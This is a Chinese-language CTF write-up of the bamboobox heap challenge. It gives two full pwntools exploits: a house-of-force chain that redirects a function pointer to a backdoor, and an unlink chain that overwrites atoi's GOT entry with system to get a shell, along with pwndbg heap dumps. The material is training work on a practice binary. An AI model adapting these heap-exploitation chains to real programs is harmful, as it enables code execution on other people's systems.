0%

hitcontraining_bamboobox

hitcontraining_bamboobox这道题有两种解题方式:

  1. house of force

    参考:house of force

  2. unlink

house of force(详解)

知识点

只要top chunk size够大,就能随意申请chunk

所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffff最大值),然后malloc(负数)可以向上申请,malloc(正数)

题目流程

程序一开始申请0x10的块,存放hello_message和goodbye_message的指针,而且最后在功能5中会调用goodbye_message。

image-20210424211521894

image-20210424211735644

所以,可以通过house of force修改top chunk size,然后将top chunk申请到v3里,修改v3的指针为后门函数magic的地址,然后即可get flag。

详细过程

1.申请一个chunk

为了不跟v3的大小0x10撞,选择0x30的大小。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1a89000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1a89020
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x1a89060
Size: 0x20fa1
1
2
3
4
5
6
7
8
9
10
pwndbg> x/30gx 0x1a89000
0x1a89000: 0x0000000000000000 0x0000000000000021#v3
0x1a89010: 0x0000000000400896 0x00000000004008b1#hello_message、goodbye_message
0x1a89020: 0x0000000000000000 0x0000000000000041#申请的chunk
0x1a89030: 0x0000000a61616161 0x0000000000000000
0x1a89040: 0x0000000000000000 0x0000000000000000
0x1a89050: 0x0000000000000000 0x0000000000000000
0x1a89060: 0x0000000000000000 0x0000000000020fa1#top chunk size
0x1a89070: 0x0000000000000000 0x0000000000000000
0x1a89080: 0x0000000000000000 0x0000000000000000

2.堆溢出修改top chunk

手动输入新top chunk为最大值0xffffffffffffffff(本质就是-1,但好像直接-1不太好使,,,)

1
2
3
4
5
6
7
8
9
10
11
Allocated chunk | PREV_INUSE
Addr: 0xc32000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xc32020
Size: 0x41

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0xc32060
Size: 0x-1 #成功修改为-1
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0xc32000
0xc32000: 0x0000000000000000 0x0000000000000021 #v3(目的地址)
0xc32010: 0x0000000000400896 0x00000000004008b1
0xc32020: 0x0000000000000000 0x0000000000000041
0xc32030: 0x6161616161616161 0x6161616161616161
0xc32040: 0x6161616161616161 0x6161616161616161
0xc32050: 0x6161616161616161 0x6161616161616161
0xc32060: 0x0000000000000000 0xffffffffffffffff #chunk
0xc32070: 0x0000000000000000 0x0000000000000000

3.向上申请到v3的地址

向上申请块,需要malloc(负数),负数 = 0xc32000 - 0xc32060 - 0x10 = -0x70(-112)

1
2
3
4
pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0xeae000 #成功修改chunk的位置
Size: 0x59
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0xeae000
0xeae000: 0x0000000000000000 0x0000000000000059#目的地址
0xeae010: 0x0000000000400896 0x00000000004008b1
0xeae020: 0x0000000000000000 0x0000000000000041
0xeae030: 0x6161616161616161 0x6161616161616161
0xeae040: 0x6161616161616161 0x6161616161616161
0xeae050: 0x6161616161616161 0x6161616161616161
0xeae060: 0x0000000000000000 0x00ffffffffffffa1
0xeae070: 0x0000000000000000 0x0000000000000000

4.申请一个块,填入内容magic

1
2
3
4
5
6
7
8
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x2034000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x2034020
Size: 0x39
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x2034000
0x2034000: 0x0000000000000000 0x0000000000000021
0x2034010: 0x0000000000400d49 0x0000000000400d49 #修改成功
0x2034020: 0x0000000000000000 0x0000000000000039
0x2034030: 0x6161616161616161 0x6161616161616161
0x2034040: 0x6161616161616161 0x6161616161616161
0x2034050: 0x6161616161616161 0x6161616161616161
0x2034060: 0x0000000000000000 0x00ffffffffffffa1
0x2034070: 0x0000000000000000 0x0000000000000000

执行功能5

也就是会v3[1](),v3[1]的地址已经被修改为magic的地址,故将执行后门函数magic()

1
2
3
[DEBUG] Received 0xe bytes:
'flag{good_job}'
flag{good_job}[*] Got EOF while reading in interactive

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
p = process('./bamboobox')
context.log_level = 'debug'

magic = 0x00400D49

def show():
p.recvuntil("Your choice:")
p.sendline(str(1))

def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)

def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)

def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))

def exit():
p.recvuntil("Your choice:")
p.sendline(str(5))

alloc(0x30,"aaaa")
payload = "a" * 0x30
payload += p64(0) + p64(0xffffffffffffffff)
change(0,payload)
alloc(-112,"aaaa")
alloc(0x10,p64(magic)*2)
exit()
# gdb.attach(p)
# pause()

p.interactive()

unlink具体已经通过hitcon_2014_stkof详解学习了,但是做本题的时候,遇到了一些问题,,,记录下。

思路比较简单:

  1. unlink
  2. 修改chunk1指针为atoi_got
  3. show打印atoi地址,计算system
  4. edit修改stoi_got为system地址
  5. 重新启动的时候,发送’/bin/sh’即可执行atoi(输入的数据) => system(‘/bin/sh’)

未解决的问题

1.target取值问题

target = 0x6020c8可以

1
2
3
4
5
pwndbg> x/30gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000030 0x00000000006020b0
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000030 0x00000000022e8100
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000

但是target = 0x6020c8+0x10会导致整个脚本不可用。

难道是不能最后清零?

2.覆盖指针问题

就很奇怪,不能用puts_got表(0x602020),同样报错,其他的可以,,,

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = process('./bamboobox')
p=remote("node3.buuoj.cn",27073)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

atoi_got = elf.got['atoi']

def show():
p.recvuntil("Your choice:")
p.sendline(str(1))

def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)

def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)

def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8 #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)
# x/30gx 0x6020c8

payload = p64(0) * 2
# print(hex(puts_got))
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()

其实这道题比hitcon_2014_stkof详解这道题要简单,,,给了打印函数,可以直接show出来地址(无须构造puts),覆盖atoi方便,因为程序开头有atoi(输入八字节)的操作,只要覆盖atoi_got表为system地址即可get shell。

Q:如果阅读本文需要付费,你是否愿意为此支付1元?